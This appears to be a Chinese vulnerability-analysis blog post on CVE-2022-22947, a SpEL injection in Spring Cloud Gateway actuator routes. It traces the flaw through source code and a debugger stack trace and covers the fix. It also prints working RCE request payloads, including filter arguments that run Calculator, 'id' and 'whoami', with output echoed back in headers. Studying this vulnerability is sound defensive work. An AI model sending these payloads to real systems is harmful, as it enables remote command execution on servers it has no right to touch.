Spring Cloud gateway是什麼?
Spring Cloud Gateway是Spring Cloud官方推出的第二代網關框架,取代Zuul網關。網關作爲流量的,在微服務系統中有着非常作用,網關常見的功能有路由轉發、權限校驗、限流控制等作用
漏洞描述:
當啓用、暴露和不安全的 Gateway Actuator 端點時,使用 Spring Cloud Gateway 的應用程序容易受到代碼注入攻擊。遠程攻擊者可以發出惡意製作的請求,允許在遠程主機上進行任意遠程執行。
漏洞複測:
POST /actuator/gateway/routes/test1 HTTP/1.1 Host: 127.0.0.1:8889 Pragma: no-cache Cache-Control: no-cache sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96" Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8889/actuator/ Content-Type:application/json Content-Length: 184 {"id":"test1","filters":[ { "name":"RewritePath", "args":{ "test":"#{T(java.lang.Runtime).getRuntime().exec(\"open /System/Applications/Calculator.app\")}" } } ] }
刷新觸發請求:
POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:8889 Pragma: no-cache Cache-Control: no-cache sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96" Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8889/actuator/ Content-Type:application/json
直接觸發rce:
從0開始漏洞分析:
漏洞預警:https://tanzu.vmware.com/security/cve-2022-22947
受影響的版本鎖定:
Spring Cloud Gateway 3.1.0 3.0.0 to 3.0.6 Older, unsupported versions are also affected
直接去github查看:
看diff,對比:
https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split
全局搜索.java等關鍵字:
關鍵代碼位置:spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
通過代碼,很容易看出來,這是spel注入,符合前面漏洞預警說的代碼注入:
現在sink找到了,就差source,看情況是這樣子的
除了這樣找sink,還可以通過commit查看,無需對比,一樣是關鍵字搜索:
拉到漏洞修復版本:https://github.com/spring-cloud/spring-cloud-gateway/commits/v3.1.1
看到spel,盲猜spel注入,跟進去看看:
https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b
好了,下面開始第二步分析,從下往上找,目前已基礎判斷出sink爲spel注入,從下往上走:
漏洞環境搭建好了,所以我直接去idea裏面打開路徑:
spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
idea裏面對應的路徑:
springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ShortcutConfigurable.class:
可通過Structure查看結構體:
在這裏調度出來:
這裏直接在sink文件斷一刀:
42行
重啓服務打exp:
斷下來了,拿到利用鏈:
getValue:58, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) apply:-1, 872736196 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$769) onNext:106, FluxMap$MapSubscriber (reactor.core.publisher) tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher) onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher) drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:8469, Flux (reactor.core.publisher) onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher) request:230, FluxIterable$IterableSubscription (reactor.core.publisher) onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeWith:4515, Mono (reactor.core.publisher) subscribe:4371, Mono (reactor.core.publisher) subscribe:4307, Mono (reactor.core.publisher) subscribe:4279, Mono (reactor.core.publisher) onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route) onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route) doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event) invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event) multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event) publishEvent:421, AbstractApplicationContext (org.springframework.context.support) publishEvent:378, AbstractApplicationContext (org.springframework.context.support) refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method) apply:-1, 290554969 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$861) trySubscribeScalarMap:152, FluxFlatMap (reactor.core.publisher) subscribeOrReturn:53, MonoFlatMap (reactor.core.publisher) subscribe:57, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribeNext:236, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) onComplete:203, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) onComplete:181, MonoFlatMap$FlatMapMain (reactor.core.publisher) complete:137, Operators (reactor.core.publisher) subscribe:120, MonoZip (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) subscribe:51, MonoIgnoreThen (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) onNext:157, MonoFlatMap$FlatMapMain (reactor.core.publisher) onNext:74, FluxSwitchIfEmpty$SwitchIfEmptySubscriber (reactor.core.publisher) onNext:82, MonoNext$NextSubscriber (reactor.core.publisher) innerNext:282, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher) onNext:863, FluxConcatMap$ConcatMapInner (reactor.core.publisher) onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher) onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher) request:2398, Operators$ScalarSubscription (reactor.core.publisher) request:139, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher) request:169, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher) set:2194, Operators$MultiSubscriptionSubscriber (reactor.core.publisher) onSubscribe:2068, Operators$MultiSubscriptionSubscriber (reactor.core.publisher) onSubscribe:96, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher) onSubscribe:152, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher) subscribe:55, MonoJust (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) drain:451, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher) onSubscribe:219, FluxConcatMap$ConcatMapImmediate (reactor.core.publisher) subscribe:165, FluxIterable (reactor.core.publisher) subscribe:87, FluxIterable (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:52, MonoDefer (reactor.core.publisher) subscribe:4400, Mono (reactor.core.publisher) subscribeNext:255, MonoIgnoreThen$ThenIgnoreMain (reactor.core.publisher) subscribe:51, MonoIgnoreThen (reactor.core.publisher) subscribe:64, InternalMonoOperator (reactor.core.publisher) subscribe:55, MonoDeferContextual (reactor.core.publisher) onStateChange:967, HttpServer$HttpServerHandle (reactor.netty.http.server) onStateChange:677, ReactorNetty$CompositeConnectionObserver (reactor.netty) onStateChange:478, ServerTransport$ChildObserver (reactor.netty.transport) onInboundNext:570, HttpServerOperations (reactor.netty.http.server) channelRead:93, ChannelOperationsHandler (reactor.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) channelRead:220, HttpTrafficHandler (reactor.netty.http.server) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel) fireChannelRead:327, ByteToMessageDecoder (io.netty.handler.codec) channelRead:299, ByteToMessageDecoder (io.netty.handler.codec) channelRead:251, CombinedChannelDuplexHandler (io.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel) channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel) invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel) invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel) fireChannelRead:919, DefaultChannelPipeline (io.netty.channel) read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio) processSelectedKey:722, NioEventLoop (io.netty.channel.nio) processSelectedKeysOptimized:658, NioEventLoop (io.netty.channel.nio) processSelectedKeys:584, NioEventLoop (io.netty.channel.nio) run:496, NioEventLoop (io.netty.channel.nio) run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent) run:74, ThreadExecutorMap$2 (io.netty.util.internal) run:30, FastThreadLocalRunnable (io.netty.util.concurrent) run:748, Thread (java.lang)
最上層是觸發sink結束了
往下看幾層:
調度了ShortcutType.DEFAULT枚舉重寫的normalize方法:
這是方法,下一層就是調用了:
org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/support/ConfigurationService.class
protected Map<String, Object> normalizeProperties() { return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties(); }
查看屬性value:
其中的key和value就是我們的fiter裏面的屬性內容:
再往下看一層:
name爲我們自定義的RewritePath
結論:引用y4er大佬的話:
這個normalizeProperties()是對filter的屬性進行解析,會將filter的配置屬性傳入normalize中,最後 進入getValue執行SPEL表達式造成SPEL表達式注入。
現在是有exp,所以分析出來的,漏洞原理也瞭解了!但是還是有些點沒理解清楚,需要我們刨根問底:
一些疑惑點:
(1)參數傳遞爲什麼是這樣的?
(2)name設置爲RewritePath,爲什麼要這樣設置?
漏洞原理正向分析:
真的想徹底理解漏洞,更需要用戶貼近業務:
查看官方文檔介紹說明:
https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
關鍵點在這裏,官方文檔說明可以使用這個接口去創建和刪除特定路由:
那說明我們的spring cloud下是存在/routes/這個目錄的,以開發經驗來看,一般路徑申明都在controller層,簡單搜索下利用堆棧下的關鍵字:
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
去這個函數去看看
完全一致:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class
這個就是我們的source,現在又回到了老問題,這個source是怎麼觸發到sink的?
因爲代碼量不是很大,直接拿出來分析:
@PostMapping({"/routes/{id}"}) public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) { return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> { return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> { r.setId(id); log.debug("Saving route: " + route); return r; })).then(Mono.defer(() -> { return Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build()); })); }).switchIfEmpty(Mono.defer(() -> { return Mono.just(ResponseEntity.badRequest().build()); })); }
先看可控點:
@PathVariable String id, @RequestBody RouteDefinition route
路徑就是自定義的id,這個不用管,跟進RouteDefinition類:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/route/RouteDefinition.class
可以這裏面定義了好幾個集合,有List的,也有Map的
隨便找個繼續跟集合的返回類,發現套娃好幾層呢:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/FilterDefinition.class
這就是走到底的了,會發現他是name+agrs集合
這樣就對上了:
現在要分析的是RewritePath哪裏來的:
繼續回到代碼:
return Mono.just(route).doOnNext(this::validateRouteDefinition).flatMap((routeDefinition) -> { return this.routeDefinitionWriter.save(Mono.just(routeDefinition).map((r) -> {
發現我們可控的變量進入了這個函數了,比較重要的就是flatMap了,這玩意和map類似,不同的是其每個元素轉換得到的是Stream對象,會把子Stream中的元素壓縮到父集合中, 人話就是後面的是壓縮的子元素,前面的返回的是壓縮後的父元素
跟進this::validateRouteDefinition:
在這個方法下下個斷點:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.class
anyMatch:判斷的條件裏,任意一個元素成功,返回true
allMatch:判斷條件裏的元素,所有的都是,返回true
noneMatch:與allMatch相反,判斷條件裏的元素,所有的都不是,返回true
看着難看,利用Evuluate循環打印:
for(int i=0;i<this.GatewayFilters.size();i++){ System.out.println(GatewayFilters.get(i).name()); }
就是這些:
AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize
可以看到我們的RewritePath就在其中
修復方案:
修改爲StandardEvaluationContext爲SimpleEvaluationContext
spel注入類常見的有兩種:
StandardEvaluationContext 更加靈活 SimpleEvaluationContext 安全的,有限制的
不出網的話,我們上面的方法就不是很好使,需要調試出回顯方法?
網上出了好多回顯示案例,找一個複測下:
spring cloud回顯測試:
POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 332
{
"id": "greetdawn",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
}
刷新:
訪問創建的路由地址:
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close
spring cloud gateway 回顯原理分析:
/org/springframework/cloud/spring-cloud-gateway-server/3.1.0/spring-cloud-gateway-server-3.1.0.jar!/org/springframework/cloud/gateway/filter/factory/AddResponseHeaderGatewayFilterFactory.class
把配置內容,添加到了響應請求頭
除了這個還有很多,找類似點,發現當name爲:
AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
..........
任意一個,均可以回顯
POST /actuator/gateway/routes/SetRequestHeader HTTP/1.1
Host: 127.0.0.1:8889
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 293
{
"id": "After",
"filters": [{
"name": "SetRequestHeader",
"args": {"name": "SetRequestHeader","value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/bash', '-c', 'whoami').start().getInputStream()).next()}"}
}],
"uri": "http://example.com",
"order": 0
}
}
刷新:
訪問:
漏洞批量檢測:
nuclei上看到有人提了相關檢測方法:
技術參考:
(1)y4er p師傅知識星球
(2)spring cloud文檔:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
(3)最好的spel注入學習文章:https://cryin.github.io/blog/SpEL injection/